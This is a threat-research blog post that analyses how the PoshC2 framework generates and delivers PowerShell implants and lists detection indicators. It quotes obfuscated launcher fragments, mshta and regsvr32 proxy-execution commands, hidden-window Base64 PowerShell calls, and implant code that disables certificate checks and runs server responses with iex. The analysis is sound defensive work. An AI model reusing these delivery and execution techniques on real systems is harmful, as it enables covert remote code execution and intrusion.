Threat Analysis Unit

How to Detect PoshC2 PowerShell Implants

PoshC2 is a proxy-aware cross-platform C2 framework that natively supports Docker.  Once configured and executed, it generates over 100 modifications of fresh implants, written in PowerShell, C#, and Python. The framework has a modular architecture to enable users to add their own modules and tools. No wonder, that nowadays PoshC2 is one of the most popular C2 frameworks, and it is routinely used to aid penetration testers with red teaming, post-exploitation, and lateral movement capabilities. 

In May 2020, Nettitude, the creator and the maintainer of PoshC2 released the 6th version of the framework. Shortly thereafter, Nettitude also published techniques that could be used to detect its footprint, including communication of the implant with the backend, the behavior of the implant during execution, and its static fingerprint. What it did not include, however, was an investigation of the delivery methods using proxy tools such as regsvr32.exe or mshta.exe and details of the underlying implementation. In this blog post, we plan to fill this gap by looking into the details of the PowerShell implant generation phase; we will detail the main implementations and conclude with some detection suggestions. 

Generation of PowerShell Implants

As with any other C2 framework, generating an implant is a process that is tightly coupled with configuring the server. In PoshC2, the user bootstraps the process using the commands posh-project -n project-name, posh-config project-name, and posh-server.  

The command posh-config opens the configuration file for editing (default configuration can be seen in Figure 1), which allows setting up many parameters, including PayloadCommsHost, which contains a list of C2 addresses that the server would listen on.  For convenience, we will be querying the generated backend URLs on the same host of the server, therefore we will use the default value as the C2 URL. 

Figure 1: Configuration file, opened by posh-config. 

The command posh-server, as the name suggests, starts the server. This command also generates over 100 modifications of payloads, which are dropped in /var/poshc2/project-name/payloads.

Figure 2: PoshC2 suggests different methods of execution of a PowerShell implant, created by the posh-server command.

As shown in Figure 2, PoshC2 suggests six different methods for executing a PowerShell implant: (1) straight from the disk, after renaming the raw implant (stored by PoshC2 in payload.txt) and changing the extension to .ps1; (2) passed to PowerShell as a command line argument (using the file payload.bat generated by PoshC2); (3) delivered via a short PowerShell one-liner; (4) executed by mshta.exe as an HTA payload; (5) as a scriptlet pulled from the Internet by regsvr32.exe; (6) or, again, executed by mshta.exe but in this instance with the help of an inline VBScript. 

Execution via Proxy Tools

Using Living Off the Land Binaries (LOLBins), e.g., mshta.exe and regsvr32.exe, is a widely adopted MITRE technique (T.1218) often used to break the malware delivery process into a chain of events designed to hinder detection. PoshC2 can, for example, rely on mshta.exe to proxy the execution of malicious VBScripts, JScripts, and PowerShell scripts. The technique is implemented by generating a file called Launcher.hta. This file features obfuscated strings (“Wscript.Shell” is split into chunks for example) and a Base64-encoded PowerShell implant, both simple yet effective techniques to bypass static detection:   


ao=new ActiveXObject(“W”+”S”+”cr”+”ip”+”t.”+”Sh”+”e”+”l”+”l”);‘powershell -exec bypass -Noninteractive -windowstyle hidden -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEA






Execution of powershell.exe with long arguments (in our case the Base64-encoded implant is more than 6000 characters long) should be considered a strong indicator of suspicious activity.  

Malicious HTA files can also be executed through an inline script. This hides the code of the implant and thereby also reduces the risk of a signature able to target it:

mshta.exe ‘vbscript:GetObject(“script:”)(window.close)’ 

In comparison to Launcher.hta, the code of the HTA payload, retrieved by the inline VBScript, relies on the Shell.Application ActiveX object rather than Wscript.Shell; also, tags like Scriptlet and Script are now mangled; however, the same PowerShell Base64-encoded command to execute the implant is used. All these techniques, again, are employed to make static analysis more difficult: 

john@ubuntu:~$ curl -k 


a=new ActiveXObject(“Shell.Application”).ShellExecute(“powershell.exe”,” -exec bypass -Noninteractive -windowstyle hidden -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZ







Another method to proxy PowerShell execution is to use regsvr32.exe in combination with scrobj.dll, as shown below. 

regsvr32 /s /n /u /i: scrobj.dll 

Loaded by regsvr32.exe, scrobj.dll will download and execute the scriptlet, hosted by the server component of PoshC2. This scriptlet uses the Shell.Application ActiveX object to execute powershell.exe with the Base64-encoded implant execution command passed as an argument: 

john@ubuntu:~$ curl -k 

<?XML version=”1.0″?>




    classid=”{F0001111-0000-0000-0000-0000FEEDACDC}” >

<script language=”VBScript”>

Dim ghgfhgfh

set ghgfhgfh = CreateObject(“shell.application”)

ghgfhgfh.ShellExecute “powershell.exe”, ” -exec bypass -Noninteractive -windowstyle hidden -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUg








Both HTA code and scriptlets feature the same powershell.exe command line parameters, including the Base64-encoded PowerShell command that ultimately executes the implant. PoshC2 stores the whole command line inside payload.bat, which can be either executed on a remote system as-is or become part of a bigger execution chain. The Base64-encoded PowerShell command contains another layer of obfuscation – another Base64-encoded PowerShell script that is also packed: 

IEX(New-Object IO.StreamReader((New-Object System.IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String(‘H4sIAIec/GMC/51XW3PayBJ+16+YVekBJUhc4mDHFFVry2RNObYpIM7uUq6tQWpggpCU0SiYZfnv2z0jLnE2l 



The packed code is the main PowerShell implant (which can be found inside payload.txt). Before diving into the details of its implementation, there is one last delivery method to analyze: the PowerShell stager. 

Execution via PowerShell Stagers 

Similarly to the inline scripts used with mshta.exe and regsvr32.exe, PoshC2 provides a short PowerShell one-liner to download and execute the main PowerShell implant. As Figure 3 highlights, most of the Base64-encoded command does not change at all, which makes it a perfect candidate for a detection rule.

Figure 3: Two different builds of the PowerShell one-liner.

The Base64-encoded command employs System.Net.WebClient to download the main PowerShell implant, which is later executed with the IEX command. As shown in the figure below, the URL is the only parameter that is responsible for the changes in the Base64 encoding.

Figure 4: Two different builds of the PowerShell one-liner (decoded Base64 command). 

PoshC2 replies with the Base64-encoded payload.txt to every download attempt coming from the one-liner: 

john@ubuntu:~$ curl -k






The PowerShell Implant

Full analysis of the main implant (e5f2b83f05f6210410f52d59ef50357a55dc2af5) reveals the following details (as a reminder, PoshC2 stores the non-obfuscated PowerShell implant inside payload.txt). First off, the code disables certificate verification (as the attackers often use self-signed SSL certificates, another common indicator of compromise). It also contains a list of C2 URLs and a URI:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}







The URI, stored in $curl, is randomly taken from the file PoshC2/resources/urls.txt (shown in Figure 5). The presence of one of these strings in the URL is another indicator of compromise that can be used by a detection rule.

Figure 5: Set of rotated URIs. 

Interaction between the implant and the server is encrypted with AES, and the resulting byte stream is further encoded in Base64. The implant has three functions to perform encryption – CAM (initializes the crypto provider), ENC (encrypts data), and DEC (decrypts data): 

function CAM ($key,$IV){

try {$a = New-Object “System.Security.Cryptography.RijndaelManaged”

} catch {$a = New-Object “System.Security.Cryptography.AesCryptoServiceProvider”}

$a.Mode = [System.Security.Cryptography.CipherMode]::CBC

$a.Padding = [System.Security.Cryptography.PaddingMode]::Zeros

$a.BlockSize = 128

$a.KeySize = 256

if ($IV)


if ($IV.getType().Name -eq “String”)

{$a.IV = [System.Convert]::FromBase64String($IV)}


{$a.IV = $IV}


if ($key)


if ($key.getType().Name -eq “String”)

{$a.Key = [System.Convert]::FromBase64String($key)}


{$a.Key = $key}



function ENC ($key,$un){

$b = [System.Text.Encoding]::UTF8.GetBytes($un)

$a = CAM $key

$e = $a.CreateEncryptor()

$f = $e.TransformFinalBlock($b, 0, $b.Length)

[byte[]] $p = $a.IV + $f



function DEC ($key,$enc){

$b = [System.Convert]::FromBase64String($enc)

$IV = $b[0..15]

$a = CAM $key $IV

$d = $a.CreateDecryptor()

$u = $d.TransformFinalBlock($b, 16, $b.Length – 16)


After sending a request to the C2 server, primern verifies the response by looking for the presence of the “*key*” string. If the string is present, then the code executes the received PowerShell code with the help of iex (an alias for the Invoke-Expression cmdlet): 

$primern = (Get-Webclient -Cookie $pp).downloadstring($script:s) 

$p = dec -key KgVKnyH0ZlTk8KlGhp6XpWOY7i6IS+K47yuVBY0/xR4= -enc $primern

if ($p -like “*key*”) {$p| iex} 

The combination of specific functions and strings, which have been used in the code (e.g., ServerCertificateValidationCallback, AesCryptoServiceProvider, FromBase64String, ToBase64String, System.Net.WebProxy, *key*, System.Net.WebClient) creates a unique fingerprint that can be used to detect the implant. 

Every build of a PowerShell implant updates three parameters: URI, encryption key, and decryption key (see Figure 6). 

Figure 6: URI and network keys change after each build.

While the encryption keys are generated on the fly, the URI, as mentioned earlier, is randomly taken from the file PoshC2/resources/urls.txt (see Figure 5). These few changes in the source code cause a drastic effect on the Base64-encoded PowerShell command, as the output of the KDiff3 tool highlights in Figure 7.

Figure 7: Two different builds of payload.bat file with the same configuration, but different crypto keys and URI.

The beginning of the Base64-encoded code in payload.bat, however, is bound to remain the same, making it a suitable candidate for a detection signature. When decoded, that fragment corresponds to the following PowerShell code: 

IEX(New-Object IO.StreamReader((New-ObjectSystem.IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String(‘


In this blog post, we showed how to use PoshC2 to generate PowerShell implants and stagers. We also explained how proxy tools (such as mshta.exe or regsvr32.exe) are often used to further increase the complexity of the delivery process, making detection a challenging task. The last section analyzed the PowerShell implant and detailed the underlying logic. 

Throughout the whole article, we identified the following IoCs to detect PoshC2 PowerShell implants: 

  1. Usage of System Binary Proxy Execution technique (MITRE ID T1218). 
  2. Presence of PoshC2 specific keywords (URIs from urls.txt; code snippets; Base64 strings). 
  3. Execution of powershell.exe with long Base64-encoded commands. 
  4. Usage of self-signed SSL certificates in network communications. 

To help security researchers, we created YARA rules for the PowerShell stager and the PowerShell implant. They are all available in our repository.